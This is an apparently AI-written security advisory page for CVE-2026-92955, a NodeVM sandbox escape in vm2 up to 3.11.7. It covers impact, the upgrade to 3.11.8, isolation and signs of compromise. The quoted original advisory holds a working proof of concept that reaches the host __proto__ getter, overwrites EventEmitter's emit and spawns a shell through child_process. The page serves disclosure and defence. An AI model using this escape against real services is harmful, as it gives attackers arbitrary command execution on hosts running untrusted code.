CVE-2026-92955: vm2: Sandbox Escape (NodeVM)
vm2 up to 3.11.7 has a `NodeVM` sandbox escape. Sandboxed code can reach the host's `__proto__` getter, walk from `console._stdout` to `EventEmitter.prototype`, replace `emit`, and run code with the host `process` as `this`. That gives full host code execution. Upgrade to vm2 3.11.8.
Published Oct 5, 2026 · Analysis Oct 25, 2026
What an attacker can do
The host __proto__ getter and setter have been the basis of several earlier vm2 reports, but the reporter says the exposure itself was never patched. In a NodeVM with console: 'inherit', which is the default, console._stdout and console._stderr are host streams. Their chain runs through WriteStream (TTY only), Socket, Duplex, Readable and Stream down to EventEmitter. process is an EventEmitter too, so a write to EventEmitter.prototype reaches it.
The proof of concept gets the host getter with Buffer.call.call(__lookupGetter__, 67, '__proto__'), walks up from console._stdout, and overwrites emit. When the host process emits an event such as exit or unhandledRejection, the function runs with this set to process. The example then calls getBuiltinModule("child_process").execSync("sh"). The advisory says this also defeats --disallow-code-generation-from-strings, which blocks the usual route of reaching the host Function constructor.
The attacker needs the ability to run JavaScript in a NodeVM, with no privileges. They get arbitrary commands as the Node.js process user. Any service that uses vm2 as a boundary for untrusted code, such as plugin runners, workflow engines and script hosts, is exposed. The reporter notes that other paths from the same getter probably exist.
Who is affected
vm2 up to and including 3.11.7, NodeVM with the default console: 'inherit'. The PoC uses new NodeVM() with no options. Check:
npm ls vm2Check transitive dependencies too, as many tools bundle vm2.
vm2
- Ecosystem
- npm
- Affected
- <= 3.11.7
- Fixed in
- 3.11.8
- Check
npm ls vm2
How to fix it
Upgrade to vm2 3.11.8.
npm install [email protected]The advisory does not describe the code change. It lists no workaround. Treat vm2 as a weak boundary for untrusted code: run such code in a separate process, container or VM with no secrets and no network, in addition to patching. A process-level isolation also limits the damage from the next escape.
How to tell if you were hit
Look for sandboxed scripts that use __lookupGetter__, Buffer.call.call, or console._stdout / console._stderr together with a loop on .pipe and an assignment to .emit. On the host, watch for the Node process starting sh or other children it does not normally start, especially around process exit or unhandled rejections. Review file and network activity of the process after any untrusted script ran. Rotate secrets reachable from a process that ran suspicious scripts.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
It being possible to obtain the host __proto__ getter/setter, has been used in many reports:
- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6
Yet it was never patched...
---
This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console._stdout/console._stderr (NodeVM with console: 'inherit', which is the default)
Details
The prototype chain for console._stdout/console._stderr is:
_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitterprocess is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype
By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.
This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.
PoC
const { NodeVM } = require("vm2");
code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');
// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}
// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }
let p = console._stdout;
while (p.pipe) {
console.log(p.constructor.name);
p = gP.call(p);
};
p.emit = function(){
console.log(this+[]);
this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;
const vm = new NodeVM();
vm.run(code);Credited to c0rydoras.
Questions
- Is vm2 3.11.7 affected by CVE-2026-92955?
Yes. The affected range is 3.11.7 and earlier. The fix is 3.11.8.
- Does it need a non-default setting?
No. The example path uses
console._stdoutwithNodeVMandconsole: 'inherit', which is the default. The reporter says other routes from the host__proto__getter probably exist.- Does --disallow-code-generation-from-strings protect me?
No. The advisory says this escape bypasses that flag, because it does not use the host
Functionconstructor.- Is it exploited in the wild?
No source says so, and it is not in CISA's KEV catalog. A working proof of concept is public in the advisory.
References
Read for this analysis:
- https://github.com/patriksimek/vm2/security/advisories/GHSA-88hf-g992-jg85
- https://github.com/patriksimek/vm2/releases/tag/v3.11.8
- https://nvd.nist.gov/vuln/detail/CVE-2026-92955
- https://github.com/patriksimek/vm2/commit/22a43704c04b66823b4064b8a16fe1ad54ad0290
- https://github.com/patriksimek/vm2/blob/v3.11.7/lib/bridge.js#L1963-L1989
- https://github.com/patriksimek/vm2/blob/v3.11.7/lib/setup-node-sandbox.js#L437-L440
- https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-via-nodevm
- https://github.com/advisories/GHSA-88hf-g992-jg85
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-93605
vm2 contains a sandbox escape vulnerability
critical10.0Oct 7, 2026CVE-2026-100721
vm2: NodeVM custom resolution bypasses external path boundaries
critical10.0Oct 5, 2026CVE-2026-92934
vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit
critical9.0Oct 5, 2026CVE-2026-92946
vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE
critical10.0Oct 5, 2026CVE-2026-92947
vm2: Sandboxed code can read and write host-realm memory via Node's shared Buffer pool
critical10.0Oct 5, 2026CVE-2026-92953
vm2: Default VM can mutate host TypedArray and ArrayBuffer intrinsics after the host-prototype pollution fix
critical10.0Oct 5, 2026
